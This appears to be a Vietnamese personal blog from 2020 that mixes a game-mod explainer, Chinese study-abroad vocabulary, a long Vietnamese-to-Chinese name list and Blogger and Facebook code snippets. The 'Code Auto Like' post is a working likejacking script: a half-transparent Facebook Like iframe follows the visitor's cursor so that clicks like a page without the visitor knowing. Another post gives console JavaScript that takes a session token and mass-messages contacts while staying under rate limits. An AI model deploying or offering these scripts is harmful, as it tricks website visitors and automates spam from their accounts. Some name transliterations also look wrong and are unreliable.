EDITEDIT
icon icon icon
EDITEDIT EDITEDITEDITEDIT

TAB MENU

Tuesday, September 29, 2020

Mod là gi

 Mod (viết tắt của "modification", có nghĩa là "sửa đổi") không phải là hack. Giống như việc thay đổi script để có thể viết chữ bình thường thay vì phải thấy ****, cũng chỉ là mod, không hề có dấu hiệu của sự gian lận trong khi chơi. Mà mod thì cũng chỉ có bản thân mình và người có cùng mod mới thấy. Người ngoài chẳng thấy được, và cũng chẳng bắt bẻ được.

Vậy nên, nếu bạn có thích cái nhẫn lung linh lấp lánh màu mè nào đi nữa, khi mod rồi thì chỉ có mình bạn thấy, người ta không thấy không tố giác bạn bug item được. Đó là cách tốt nhất và an toàn nhất để "sở hữu" món đồ bạn từng ao ước rất nhiều, mà có lẽ không bao giờ thành hiện thực

Saturday, September 19, 2020

Từ vựng tiếng trung hoa thông dụng khi đi du học!

 


录取通知书 /Lùqǔ tōngzhī shū/:giấy gọi nhập học

 

辅导教师 / Fǔdǎo jiàoshī/: Thầy quản lý (Người quản lý các vấn đề hành chính và hoạt động ngoại khóa của bạn)

 

导师 /Dǎoshī/: thầy giáo hướng dẫn (Người sẽ nắm trong tay hầu hết quyền quyết định các vấn đề liên quan đến học tập của bạn, từ việc hướng dẫn, định hướng bạn học cho đến quyết định có cho bạn ra trường hay không?)

 

校外导师 /Xiàowài dǎoshī/: Thầy hướng dẫn nhưng không phải giáo viên toàn thời gian trong trường. (Các thầy giáo này có thể là từ trường khác sang, hoặc là doanh nhân có học vị đủ cao để được nhận vào hướng dẫn học sinh trong trường)

 

学长/Xuézhǎng/: gọi chung cho nam sinh khóa trên

 

学姐/Xué jiě/: gọi chung cho nữ sinh khóa trên

 

学妹/Xué mèi/: gọi chung cho nữ sinh khóa dưới

 

学弟/Xué dì/: gọi chung cho nam sinh khóa dưới

 

室友 /Shìyǒu/: bạn cùng phòng

 

师傅 /Shīfu/: (nam) lao công/thơ trong trường, hay các bác tài xế

 

阿姨 /Āyí/: (nữ) lao công/thợ trong trường

 

学生管理系统 /Xuéshēng guǎnlǐ xìtǒng/: Trang web quản lý thông tin học sinh

 

必修课 /Bìxiū kè/: Môn học bắt buộc

 

选修课 /Xuǎnxiū kè/: Môn học tự chọn

 

招生办公室 /Zhāoshēng bàngōngshì/: Văn phòng chiêu sinh

 

学生证 /Xuéshēng zhèng/: thẻ học sinh

 

学习签证 /Xuéxí qiānzhèng/: loại visa học tập cho học sinh

 

论文 /Lùnwén/: luân văn hoặc bài tiểu luận (tiểu luận cuối kỳ thường yêu cầu 3000-5000 từ)

 

讲稿 /Jiǎnggǎo/: nội dung bằng văn bản của một bài phát biểu hoặc bài giảng

 

草稿 /Cǎogǎo/: bản nháp, bản thử

 

讲座 /Jiǎngzuò/: Buổi hội thảo học thuật, buổi giảng tọa

 

抽盲 /Chōu máng/: thủ tục rút thăm để xem luận văn tốt nghiệp có phải đưa lên thành phố để xét duyệt không

 

盲审 /Máng shěn/: thủ tục xét duyệt luận văn xem có đủ chất lượng bảo vệ không

 

查重 /Chá chóng/: kiểm tra độ trùng lặp của luận văn (thường giới hạn dưới 15%)

 

食堂 /Shítáng/: Nhà ăn sinh viên

 

教学楼 /Jiàoxué lóu/: lầu học

 

教室/Jiàoshì/: phòng học

 

公费 /Gōngfèi/: học sinh học theo dạng học bổng hoặc có đơn vị khác tài trợ

 

自费 /Zìfèi/: học sinh học theo dạng tự đóng phí

 

盖章 /Gài zhāng/: đóng dấu

 

文献综述 /Wénxiàn zòngshù/: Phần tổng hợp nghiên cứu của một bài luận văn hoặc một chuyên đề nghiên cứu. (tổng hợp các nghiên cứu từng có liên quan đến đề tài theo trình tự thời gian hoặc địa lý)

 

读书报告 /Dúshū bàogào/: Báo cáo sau khi đọc sách

 

学期 /Xuéqí/: học kỳ

 

聚餐 /Jùcān/: bữa liên hoan tập thể

 

服务台 /Fúwù tái/ : quầy lễ tân

 

前台 /Qiántái/: quầy lễ tân

Monday, September 14, 2020

Cover thanh hinh Anime

 Anime là hoạt hình vẽ tay và máy tính, nguồn gốc từ Nhật Bản hoặc được gắn kết với Nhật Bản. Từ anime là thuật ngữ tiếng Nhật dùng để nói tới tất cả các định dạng truyền thông phim hoạt hình.


Chuyển đổi hình ảnh của bạn thành nhân vật Anime
Convert Yourself To Anime

Đầu tiên Ae truy cập link này để vào website chuyển đổi: Convert Yourself To Anime

Giờ các bạn up ảnh của mình lên nhé, có 2 cách up ảnh lên:
  • Take A Selife: chụp ảnh lên
  • Update Photo: tải ảnh từ thư viện lên (khuyên dùng)
Convert Yourself To Anime

Khi up ảnh của bạn lên rồi thì hệ thống sẽ tự động cho ra kết quả ảnh Anime phía dưới. Các bạn chỉ cần nhấp vào ảnh tải về là ok rồi.

Code Gui Tin Nhan cho tat ca Ban tren FaceBook

 

Các bước gửi tin nhắn cho tất cả bạn bè trên Facebook

Bước 1: Copy đoạn Code phía dưới

(() => {
const msgs = ['Chúc mừng năm mới!', 'Happy New Year', 'Happy New Year 2020!', 'Năm mới hạnh phúc', 'Chúc mừng năm mới ;)', 'Năm mới hạnh phúc <3', 'Năm mới bình an :D'];
const messageLimit = 500;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var getConversations = (fb_dtsg, c_callback) => {
var c_xhr = new XMLHttpRequest;
var c_data = new FormData();
c_data.append('fb_dtsg', fb_dtsg);
var queries = {
"o0": {
"doc_id": "1475048592613093",
"query_params": {
"limit": messageLimit,
"tags": ["INBOX"],
"includeDeliveryReceipts": true,
"includeSeqID": false
}
}
}
c_data.append('queries', JSON.stringify(queries));
c_xhr.onreadystatechange = () => {
if (c_xhr.readyState == 4 && c_xhr.status == 200) c_callback(JSON.parse(c_xhr.responseText.split('\n')[0])['o0'].data.viewer.message_threads.nodes);
}
c_xhr.open('POST', '/api/graphqlbatch/');
c_xhr.send(c_data);
}
var sendMessage = (fb_dtsg, mmsg, uuid) => {
var formData = new FormData();
formData.append("ids["+uuid+"]", uuid);
formData.append("body", mmsg);
formData.append("fb_dtsg", fb_dtsg);
var r = new XMLHttpRequest;
r.onreadystatechange = () => {
if (r.readyState == 4 && r.status == 200) {
console.log('Message was sent to [' + uuid + ']');
}
}
r.open('POST', 'https://m.facebook.com/messages/send/?icm=1&refid=12&ref=dbl');
r.send(formData);
}
getConversations(fb_dtsg, conversations => {
conversations.forEach(c => {
//console.log(c);
if (c.thread_type == 'ONE_TO_ONE') {
var otherID = c.thread_key.other_user_id;
//console.log(otherID);
sendMessage(fb_dtsg, msgs[Math.floor(Math.random() * msgs.length)], otherID);
} else {
console.log('Auto message to Group is not allowed!');
}
});
});
})();



Bước 2: Truy cập vào: m.facebook.com
Bước 3: Nhấn F12 hoặc tổ hợp phím Ctrl + Shift + J, dán đoạn code vừa copy lúc nãy vào Console và nhấn Enter.

LƯU Ý:
  • Thay đổi số lượng người nhận ở biến messageLimit. Để số lượng tầm dưới 500 để tránh bị Block tính năng.
  • Nội dung tin nhắn bạn có thể chỉnh sửa ở đoạn const msgs = mỗi nội dung nằm trong dấu " " và cách nhau dấu phẩy ,.
Hướng dẫn gửi tin nhắn hàng loạt cho tất cả bạn bè trên Facebook mới nhất

Như vậy chỉ với 3 bước đơn giản, bạn có thể gửi tin nhắn hàng loạt đến tất cả bạn bè trên Facebook. Chúc các bạn thành công. Nếu thấy hữu ích hãy để lại 1 like nhé!

Code Nick FB ca nhan

 truoc the </body> EDIT<!--

  _____    _ _ _     _

 | ____|__| (_) |_  | |__   ___ _ __ ___

 |  _| / _` | | __| | '_ \ / _ \ '__/ _ \

 | |__| (_| | | |_  | | | |  __/ | |  __/

 |_____\__,_|_|\__| |_| |_|\___|_|  \___|


 Edit the code below using your own information.

 Happy blogging from gongshengxinyi.blogspot.com :)

-->EDIT

  

  <style>

.fixed-right{position:fixed;z-index:9999;right:5px;transform:translateY(-50%);top:calc(50% + 10px)!important;width:50px;text-align:center;overflow:hidden}

.fixed-right a{margin-bottom:10px;width:40px;height:40px;display:inline-block}

.fixed-right a.phone{border-radius:50%;background:#64bc46;padding:6px;animation:quick-alo-circle-img-anim 1s infinite ease-in-out}

.fixed-right img{border:0 none;max-width:100%;height:auto}

</style>

<div class='fixed-right'>

    <a href='https://www.facebook.com/messages/t/xgongshengxinyix' target='_blank' title='Facebook'>

        <img alt='icon' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpG2_ZZYRKU8ey5-8dHtR8LIJPseeWs5NVU-2vPxb_qDNgCGUz4nWsQJxE5973C2Qi5Fqz92_GecazPpl5bQABOHhZwpOpcz04QL9agYxPs53Hv_CZAjpTHXNULHg3h9VSdUJ9HO8WWoc/s1600/icon-menu-right1.png'/>

    </a>

     <a href='https://www.facebook.com/messages/t/changingfeeling' target='_blank' title='Facebook'>

        <img alt='icon' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpG2_ZZYRKU8ey5-8dHtR8LIJPseeWs5NVU-2vPxb_qDNgCGUz4nWsQJxE5973C2Qi5Fqz92_GecazPpl5bQABOHhZwpOpcz04QL9agYxPs53Hv_CZAjpTHXNULHg3h9VSdUJ9HO8WWoc/s1600/icon-menu-right1.png'/>

    </a>

     <a href='https://www.facebook.com/messages/t/ChiBiBoDauTo' target='_blank' title='Facebook'>

        <img alt='icon' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpG2_ZZYRKU8ey5-8dHtR8LIJPseeWs5NVU-2vPxb_qDNgCGUz4nWsQJxE5973C2Qi5Fqz92_GecazPpl5bQABOHhZwpOpcz04QL9agYxPs53Hv_CZAjpTHXNULHg3h9VSdUJ9HO8WWoc/s1600/icon-menu-right1.png'/>

    </a>

</div>

  EDIT<!--

  _____    _ _ _     _

 | ____|__| (_) |_  | |__   ___ _ __ ___

 |  _| / _` | | __| | '_ \ / _ \ '__/ _ \

 | |__| (_| | | |_  | | | |  __/ | |  __/

 |_____\__,_|_|\__| |_| |_|\___|_|  \___|


 Edit the code below using your own information.

 Happy blogging from gongshengxinyi.blogspot.com :)

-->EDIT

Code Messger Fanpage FaceBook

Tim The " </head> " Sau Do Dan Code 

<!--

  _____    _ _ _     _

 | ____|__| (_) |_  | |__   ___ _ __ ___

 |  _| / _` | | __| | '_ \ / _ \ '__/ _ \

 | |__| (_| | | |_  | | | |  __/ | |  __/

 |_____\__,_|_|\__| |_| |_|\___|_|  \___|


 Edit the code below using your own information.

 Happy blogging from gongshengxinyi.blogspot.com :)

-->

<script>(function (d, s, id) {

  var js, fjs = d.getElementsByTagName(s)[0];

  if (d.getElementById(id)) return;

  crm____cs = {&quot;s&quot;:&quot;https://crm.nhanh.vn&quot;,&quot;u&quot;:&quot;https://www.facebook.com/changingfeeling/&quot;,&quot;bc&quot;:&quot;#a52a2a&quot;,&quot;c&quot;:&quot;#ffffff&quot;,&quot;t&quot;:&quot;Ban Can Ho Tro?&quot;,&quot;v&quot;:&quot;&quot;,&quot;d&quot;:&quot;right&quot;,&quot;p&quot;:&quot;50&quot;};

  js = d.createElement(s); js.id = id;

  js.src = crm____cs.s + &#39;/api/plugin/sdk.js&#39;;

  fjs.parentNode.insertBefore(js, fjs);

}(document, &#39;script&#39;, &#39;crm-jssdk&#39;));</script><!--

  _____    _ _ _     _

 | ____|__| (_) |_  | |__   ___ _ __ ___

 |  _| / _` | | __| | '_ \ / _ \ '__/ _ \

 | |__| (_| | | |_  | | | |  __/ | |  __/

 |_____\__,_|_|\__| |_| |_|\___|_|  \___|


 Edit the code below using your own information.

 Happy blogging from gongshengxinyi.blogspot.com :)

--> Tiep Theo Se la The  <body> Chu Y nhe

Code Auto Like

 <!--

  _____    _ _ _     _

 | ____|__| (_) |_  | |__   ___ _ __ ___

 |  _| / _` | | __| | '_ \ / _ \ '__/ _ \

 | |__| (_| | | |_  | | | |  __/ | |  __/

 |_____\__,_|_|\__| |_| |_|\___|_|  \___|


 Edit the code below using your own information.

 Happy blogging from gongshengxinyi.blogspot.com :)

-->

script type=&quot;text/javascript&quot;&gt;

  //&lt;![CDATA[

(function(){

  var Xcord = 0,

  Ycord = 0,

  IE = document.all ? true : false;

  if (!IE) document.captureEvents(Event.MOUSEMOVE);

  var lbox = document.createElement(&#39;iframe&#39;);

  lbox.src = &#39;http://www.facebook.com/plugins/like.php?href=&#39; + encodeURIComponent(/*document.location.href*/ &#39;https://www.facebook.com/changingfeeling/&#39;) + &#39;&amp;amp;layout=standard&amp;amp;show_faces=true&amp;amp;width=53&amp;amp;action=lbox&amp;amp;colorscheme=light&amp;amp;height=30&#39;;

  lbox.scrolling = &#39;no&#39;;

  lbox.frameBorder = 0;

  lbox.allowTransparency = &#39;true&#39;;

  lbox.style.border = 0;

  lbox.style.overflow = &#39;hidden&#39;;

  lbox.style.cursor = &#39;pointer&#39;;

  lbox.style.width = &#39;53px&#39;;

  lbox.style.height =  &#39;23px&#39;;

  lbox.style.position = &#39;absolute&#39;;

  lbox.style.opacity = 0.5;

  document.getElementsByTagName(&#39;body&#39;)[0].appendChild(lbox);

  window.addEventListener(&#39;mousemove&#39;, mouseMove, false);

  setTimeout(function(){

    document.getElementsByTagName(&#39;body&#39;)[0].removeChild(lbox);

    window.removeEventListener(&#39;mousemove&#39;, mouseMove, false);

  }, 10000);

  function mouseMove(e) {

    if (IE) {

      Xcord = event.clientX + document.body.scrollLeft;

      Ycord = event.clientY + document.body.scrollTop;

    } else {

      Xcord = e.pageX;

      Ycord = e.pageY;

    }

    if (Xcord &lt; 0) Xcord = 0;

    if (Ycord &lt; 0) Ycord = 0;

    lbox.style.top = (Ycord - 8) + &#39;px&#39;;

    lbox.style.left = (Xcord - 25) + &#39;px&#39;;

    return true

  }

})();

  //]]&gt;

&lt;/script<!--

  _____    _ _ _     _

 | ____|__| (_) |_  | |__   ___ _ __ ___

 |  _| / _` | | __| | '_ \ / _ \ '__/ _ \

 | |__| (_| | | |_  | | | |  __/ | |  __/

 |_____\__,_|_|\__| |_| |_|\___|_|  \___|


 Edit the code below using your own information.

 Happy blogging from gongshengxinyi.blogspot.com :)

-->

Tuesday, September 8, 2020

Họ và Tên tiếng Trung

 

Tên, Họ tiếng Trung theo vần

Vần A

1. Á – Yà – 亚
2. ÁI – Ài – 爱
3. AN – An – 安
4. ÂN – Ēn  – 恩
5. ẨN – Yǐn  – 隐


6. ẤN – Yìn  – 印
7. ANH – Yīng  – 英
8. ÁNH – Yìng – 映
9. ẢNH – Yǐng – 影
10. ÂU – Qū – 区

Vần B

11. BA – Bō  – 波
12. BÁ – Bó – 伯
13. BẮC – Běi  – 北
14. BÁCH – Bǎi  – 百
15. BẠCH – Bái – 白
16. BAN – Bān – 班
17. BẢN – Běn – 本
18. BĂNG – Bīng – 冰
19. BẰNG – Féng  – 冯
20. BẢO – Bǎo  – 宝
21. BÁT – Bā – 八
22. BẢY – Qī – 七
23. BÉ – Bì  – 閉
24. BẾN – Biàn – 变
25. BỈ – Bǐ – 彼
26. BÌ – Bì – 碧
27. BÍCH – Bì  – 碧
28. BIÊN – Biān  – 边
29. BINH – Bīng – 兵
30. BÍNH – Bǐng  – 柄
31. BÌNH – Píng  – 平
32. BỐI – Bèi  – 贝
33. BỘI – Bèi – 背


34. BÙI – Péi – 裴
35. BỬU – Bǎo – 宝

Vần C

36. CA – Gē – 歌
37. CẦM – Qín – 琴
38. CẨM – Jǐn – 锦
39. CẬN – Jìn – 近
40. CẢNH – Jǐng  – 景
41. CAO – Gāo  – 高
42. CÁT – Jí – 吉
43. CẦU – Qiú – 球
44. CHẤN – Zhèn – 震
45. CHÁNH – Zhēng – 争
46. CHÀNH – Gěng – 梗
47. CHÁNH – Zhèng – 正
48. CHÂN – Zhēn – 真
49. CHẤN – Zhèn – 震
50. CHÂU – Zhū  – 朱
51. CHI – Zhī  – 芝
52. CHÍ  – Zhì  – 志
53. CHIẾN – Zhàn  – 战
54. CHIỂU – Zhǎo – 沼
55. CHINH – Zhēng  – 征
56. CHÍNH – Zhèng  – 正
57. CHỈNH – Zhěng – 整


58. CHU – Zhū – 珠
59. CHƯ – Zhū – 诸
60. CHUẨN – Zhǔn – 准
61. CHÚC – Zhù – 祝
62. CHUNG – Zhōng  – 终
63. CHÚNG – Zhòng  – 众
64. CHƯNG – Zhēng – 征
65. CHƯƠNG – Zhāng – 章
66. CHƯỞNG – Zhǎng – 掌
67. CHUYÊN – Zhuān – 专
68. CÔN – Kūn – 昆
69. CÔNG – Gōng  – 公
70. CỪ – Bàng – 棒
71. CÚC – Jú – 菊
72. CUNG – Gōng  – 工
73. CƯƠNG – Jiāng – 疆
74. CƯỜNG – Qiáng  – 强
75. CỬU – Jiǔ  – 九

Vần D

76. DẠ – Yè – 夜
77. ĐẮC – De  – 得
78. ĐẠI – Dà  – 大
79. ĐAM – Dān – 担
80. ĐÀM – Tán  – 谈
81. ĐẢM – Dān  – 担
82. ĐẠM – Dàn  – 淡
83. DÂN – Mín – 民
84. DẦN – Yín – 寅
85. ĐAN – Dān  – 丹
86. ĐĂNG – Dēng  – 登
87. ĐĂNG – Dēng  – 灯
88. ĐẢNG – Dǎng – 党
89. ĐẲNG – Děng – 等
90. ĐẶNG – Dèng  – 邓
91. DANH – Míng – 名
92. ĐÀO – Táo  – 桃
93. ĐẢO – Dǎo – 岛
94. ĐẠO – Dào – 道
95. ĐẠT – Dá – 达 
96. DẬU – Yǒu – 酉
97. ĐẤU – Dòu – 斗
98. ĐÍCH – Dí  – 嫡
99. ĐỊCH – Dí  – 狄
100. DIỄM – Yàn – 艳
101. ĐIỀM – Tián – 恬
102. ĐIỂM – Diǎn – 点
103. DIỄN – Yǎn – 演
104. DIỆN – Miàn – 面
105. ĐIỀN – Tián  – 田
106. ĐIỂN – Diǎn – 典
107. ĐIỆN – Diàn  – 电
108. DIỆP – Yè  – 叶
109. ĐIỆP – Dié  – 蝶
110. DIỆU –  Miào  – 妙
111. ĐIỀU – Tiáo – 条
112. DINH – Yíng – 营
113. ĐINH – Dīng – 丁
114. ĐÍNH – Dìng – 订
115. ĐÌNH – Tíng – 庭
116. ĐỊNH – Dìng  – 定
117. DỊU – Róu – 柔
118. ĐÔ – Dōu  – 都
119. ĐỖ – Dù – 杜
120. ĐỘ – Dù – 度
121. ĐOÀI – Duì – 兑
122. DOÃN – Yǐn – 尹
123. ĐOAN – Duān – 端
124. ĐOÀN – Tuán – 团
125. DOANH – Yíng  – 嬴
126. ĐÔN – Dūn – 惇
127. ĐÔNG – Dōng – 东
128. ĐỒNG – Tóng  – 仝
129. ĐỘNG – Dòng – 洞
130. DU – Yóu – 游
131. DƯ – Yú – 余
132. DỰ – Xū  – 吁
133. DỤC – Yù  – 育
134. ĐỨC – Dé  – 德
135. DUNG – Róng  – 蓉
136. DŨNG – Yǒng  – 勇
137. DỤNG – Yòng – 用
138. ĐƯỢC – De – 得
139. DƯƠNG – Yáng  – 羊
140. DƯỠNG – Yǎng – 养
141. ĐƯỜNG – Táng – 唐


142. DƯƠNG  – Yáng – 杨
143. DUY – Wéi  – 维
144. DUYÊN – Yuán  – 缘
145. DUYỆT – Yuè – 阅

Vần G

146. GẤM – Jǐn  – 錦
147. GIA – Jiā  – 嘉
148. GIANG – Jiāng  – 江 
149. GIAO – Jiāo  – 交
150. GIÁP – Jiǎ  – 甲
151. GIỚI – Jiè – 界

Vần H

152. HÀ – Hé  – 何
153. HẠ – Xià  – 夏
154. HẢI – Hǎi  – 海
155. HÁN – Hàn – 汉
156. HÀN – Hán  – 韩
157. HÂN – Xīn  – 欣
158. HẰNG – Héng – 姮 
159. HÀNH – Xíng – 行
160. HẠNH – Xíng – 行
161. HÀO – Háo  – 豪
162. HẢO – Hǎo  – 好
163. HẠO – Hào – 昊
164. HẬU – Hòu  – 后
165. HIÊN – Xuān  – 萱
166. HIẾN – Xiàn – 献
167. HIỀN – Xián  – 贤
168. HIỂN – Xiǎn  – 显
169. HIỆN – Xiàn  – 现
170. HIỆP – Xiá  – 侠
171. HIẾU – Xiào  – 孝
172. HIỂU – Xiào – 孝
173. HIỆU – Xiào – 校
174. HINH – Xīn – 馨
175. HỒ – Hú – 湖
176. HOA – Huā – 花
177. HÓA – Huà – 化 
178. HÒA – Hé – 和
179. HỎA – Huǒ  – 火
180. HOẠCH – Huò –  获
181. HOÀI – Huái  – 怀
182. HOAN – Huan – 欢
183. HOÁN – Huàn – 奂
184. HOÀN – Huán  – 环
185. HOẠN – Huàn – 宦
186. HOÀNG – Huáng – 黄
187. HOÀNH – Héng – 横
188. HOẠT – Huó – 活


189. HỌC – Xué  – 学
190. HỐI – Huǐ – 悔
191. HỒI – Huí – 回
192. HỘI – Huì – 会
193. HỢI – Hài  – 亥
194. HỒNG – Hóng  – 红
195. HỢP – Hé  – 合
196. HỨA – Xǔ – 許
197. HUÂN – Xūn  – 勋
198. HUẤN – Xun  – 训
199. HUẾ – Huì – 喙
200. HUỆ – Huì – 惠
201. HÙNG – Xióng – 雄
202. HƯNG – Xìng  – 兴
203. HƯƠNG – Xiāng  – 香
204. HƯỚNG – Xiàng – 向
205. HƯỜNG – Hóng – 红
206. HƯỞNG – Xiǎng – 响
207. HƯU – Xiū – 休
208. HỮU – You  – 友
209. HỰU – Yòu – 又
210. HUY – Huī  – 辉
211. HUYỀN – Xuán – 玄
212. HUYỆN – Xiàn – 县
213. HUYNH – Xiōng  – 兄
214. HUỲNH – Huáng – 黄
Cùng tra tên trong tiếng Trung vần K nhé.

Vần K

215. KẾT – Jié – 结
216. KHA – Kē – 轲
217. KHẢ – Kě – 可
218. KHẢI – Kǎi  – 凯
219. KHÂM – Qīn – 钦
220. KHANG – Kāng  – 康
221. KHANH – Qīng – 卿
222. KHÁNH – Qìng  – 庆
223. KHẨU – Kǒu – 口
224. KHIÊM – Qiān – 谦
225. KHIẾT – Jié – 洁
226. KHOA – Kē  – 科
227. KHỎE – Hǎo – 好
228. KHÔI – Kuì  – 魁
229. KHUẤT – Qū  – 屈
230. KHUÊ – Guī  – 圭
231. KHUYÊN – Quān – 圈
232. KHUYẾN – Quàn – 劝
233. KIÊN – Jiān – 坚
234. KIỆT – Jié  – 杰
235. KIỀU – Qiào  – 翘
236. KIM – Jīn – 金
237. KÍNH – Jìng – 敬
238. KỲ – Qí – 淇
239. KỶ – Jì – 纪

Vần L

240. LÃ – Lǚ  – 吕
241. LẠC – Lè – 乐
242. LAI – Lái – 来
243. LẠI – Lài  – 赖
244. LAM – Lán – 蓝
245. LÂM – Lín  – 林
246. LÂN – Lín – 麟
247. LĂNG – Líng – 陵
248. LÀNH – Lìng  – 令
249. LÃNH – Lǐng – 领
250. LÊ – Lí  – 黎
251. LỄ – Lǐ – 礼
252. LỆ – Lì – 丽
253. LEN – Lián  – 縺
254. LI – Máo – 犛
255. LỊCH – Lì – 历
256. LIÊN – Lián – 莲
257. LIỄU – Liǔ – 柳
258. LINH – Líng – 泠
259. LOAN – Wān – 湾
260. LỘC – Lù – 禄
261. LỢI – Lì – 利
262. LONG – Lóng – 龙
263. LỤA – Chóu – 绸
264. LUÂN – Lún  – 伦
265. LUẬN – Lùn – 论
266. LỤC – Lù  – 陸
267. LỰC – Lì – 力
268. LƯƠNG – Liáng – 良
269. LƯỢNG – Liàng – 亮
270. LƯU – Liú – 刘
271. LUYẾN – Liàn – 恋
272. LY – Lí  – 璃
273. LÝ – Li  – 李

Vần M

274. MÃ – Mǎ  – 马
275. MAI – Méi  – 梅
276. MẬN – Li – 李
277. MẠNH – Mèng  – 孟
278. MẬU – Mào – 贸
279. MÂY – Yún – 云
280. MẾN – Miǎn – 缅
281. MỊ – Mī – 咪
282. MỊCH – Mi – 幂


283. MIÊN – Mián – 绵
284. MINH – Míng  – 明
285. MƠ – Mèng – 梦
286. MỔ – Pōu – 剖
287. MY – Méi  – 嵋
288. MỸ – Měi  – 美

Vần N

289. NAM – Nán  – 南
290. NGÂN – Yín – 银
291. NGÁT – Fù – 馥
292. NGHỆ – Yì – 艺
293. NGHỊ – Yì – 议
294. NGHĨA – Yì – 义
295. NGÔ – Wú  – 吴
296. NGỘ – Wù  – 悟
297. NGOAN – Guāi – 乖
298. NGỌC – Yù – 玉
299. NGUYÊN – Yuán  – 原
300. NGUYỄN – Ruǎn  – 阮
301. NHÃ – Yā – 雅
302. NHÂM – Rén – 壬
303. NHÀN – Xián – 闲
304. NHÂN – Rén  – 人 
305. NHẤT – Yī – 一
306. NHẬT – Rì  – 日
307. NHI – Er  – 儿
308. NHIÊN – Rán  – 然
309. NHƯ – Rú  – 如
310. NHUNG – Róng – 绒
311. NHƯỢC – Ruò – 若
312. NINH – É – 娥
313. NỮ – Nǚ  – 女
314. NƯƠNG – Niang – 娘

Vần O

315. OANH – Yíng – 萦
Tiếp theo, dịch tên sang tiếng trung cho vần P.

Vần P

316. PHÁC – Pǔ – 朴
317. PHẠM – Fàn  – 范
318. PHAN – Fān – 藩
319. PHÁP – Fǎ – 法
320. PHI – Fēi –  -菲
321. PHÍ – Fèi  – 费
322. PHONG – Fēng – 峰
323. PHONG – Fēng – 风
324. PHÚ – Fù  – 富
325. PHÙ – Fú  – 扶
326. PHÚC – Fú – 福
327. PHÙNG – Féng  – 冯
328. PHỤNG – Fèng – 凤
329. PHƯƠNG – Fāng  – 芳


330. PHƯỢNG – Fèng  – 凤

Vần Q

331. QUÁCH – Guō  – 郭
332. QUAN – Guān – 关
333. QUÂN – Jūn  – 军
334. QUANG – Guāng – 光
335. QUẢNG – Guǎng – 广
336. QUẾ – Guì – 桂
337. QUỐC – Guó – 国
338. QUÝ – Guì – 贵
339. QUYÊN – Juān  – 娟
340. QUYỀN – Quán – 权
341. QUYẾT – Jué – 决
342. QUỲNH – Qióng – 琼

Vần S

343. SÂM – Sēn – 森
344. SẨM – Shěn  – 審
345. SANG – Shuāng – 瀧
346. SÁNG – Chuàng – 创
347. SEN – Lián – 莲
348. SƠN – Shān – 山
349. SONG – Shuāng – 双
350. SƯƠNG – Shuāng – 霜
Trong vần T này sẽ có tên trung quốc của mình nhé ^^.

Vần T

351. TẠ – Xiè – 谢
352. TÀI – Cái  – 才
353. TÂN – Xīn  – 新
354. TẤN – Jìn – 晋
355. TĂNG – Céng – 曾
356. TÀO – Cáo – 曹 
357. TẠO – Zào – 造
358. THẠCH – Shí – 石
359. THÁI – Tài – 泰
360. THÁM – Tàn – 探
361. THẮM – Shēn – 深
362. THẦN – Shén – 神
363. THẮNG – Shèng  – 胜
364. THANH – Qīng  – 青
365. THÀNH – Chéng  – 城
366. THÀNH – Chéng  – 成
367. THÀNH – Chéng  – 诚
368. THẠNH – Shèng – 盛
369. THAO – Táo – 洮
370. THẢO – Cǎo  – 草
371. THẾ – Shì  – 世
372. THI – Shī – 诗
373. THỊ – Shì  – 氏
374. THIÊM – Tiān  – 添
375. THIÊN – Tiān  – 天
376. THIỀN – Chán – 禅
377. THIỆN – Shàn  – 善
378. THIỆU – Shào  – 绍
379. THỊNH – Shèng  – 盛
380. THO – Qiū – 萩
381. THƠ – Shī – 诗
382. THỔ – Tǔ  – 土
383. THOA – Chāi – 釵
384. THOẠI – Huà  – 话
385. THOAN – Jùn – 竣
386. THƠM – Xiāng – 香
387. THÔNG – Tōng – 通
388. THU – Qiū  – 秋
389. THƯ – Shū  – 书
390. THUẬN – Shùn  – 顺
391. THỤC – Shú – 熟
392. THƯƠNG – Cāng – 鸧 
393. THƯƠNG – Chuàng  – 怆
394. THƯỢNG – Shàng – 上
395. THÚY – Cuì – 翠
396. THÙY – Chuí  – 垂
397. THỦY – Shuǐ  – 水
398. THỤY – Ruì – 瑞
399. TIÊN – Xian  – 仙
400. TIẾN – Jìn  – 进
401. TIỆP – Jié – 捷
402. TÍN – Xìn  – 信
403. TÌNH – Qíng – 情
404. TỊNH – Jìng  – 净
405. TÔ – Sū  – 苏
406. TOÀN – Quán  – 全
407. TOẢN – Zǎn – 攒
408. TÔN – Sūn – 孙
409. TRÀ – Chá – 茶
410. TRÂM – Zān  – 簪
411. TRẦM – Chén  – 沉
412. TRẦN – Chén – 陈
413. TRANG – Zhuāng  – 妝
414. TRÁNG – Zhuàng – 壮
415. TRÍ – Zhì – 智
416. TRIỂN – Zhǎn  – 展
417. TRIẾT – Zhé – 哲
418. TRIỀU – Cháo – 朝
419. TRIỆU – Zhào – 赵
420. TRỊNH – Zhèng – 郑
421. TRINH – Zhēn – 贞
422. TRỌNG – Zhòng – 重


423. TRUNG – Zhōng  – 忠
424. TRƯƠNG – Zhāng  – 张
425. TÚ – Sù  – 宿
426. TƯ – Xū – 胥
427. TƯ – Sī – 私
428. TUÂN – Xún  – 荀
429. TUẤN – Jùn  – 俊
430. TUỆ – Huì – 慧
431. TÙNG – Sōng  – 松
432. TƯỜNG – Xiáng  – 祥
433. TƯỞNG – Xiǎng – 想
434. TUYÊN – Xuān – 宣
435. TUYỀN – Xuán – 璿
436. TUYỀN – Quán – 泉
437. TUYẾT – Xuě  – 雪
438. TÝ – Zi – 子

Vần U

439. UYÊN – Yuān  – 鸳 
440. UYỂN – Yuàn  – 苑
441. UYỂN – Wǎn – 婉

Vần V

442. VÂN – Yún  – 芸
443. VĂN – Wén  – 文
444. VẤN – Wèn  – 问
445. VI – Wéi  – 韦
446. VĨ – Wěi – 伟
447. VIẾT – Yuē – 曰
448. VIỆT – Yuè – 越
449. VINH – Róng  – 荣
450. VĨNH – Yǒng  – 永
451. VỊNH – Yǒng – 咏
452. VÕ – Wǔ – 武
453. VŨ – Wǔ  – 武
454. VŨ – Wǔ  – 羽
455. VƯƠNG – Wáng  – 王
456. VƯỢNG – Wàng  – 旺
457. VY – Wéi  – 韦
458. VỸ – Wěi – 伟

Vần X

459. XÂM – Jìn  – 浸
460. XUÂN – Chūn – 春
461. XUYÊN – Chuān – 川
462. XUYẾN – Chuàn – 串

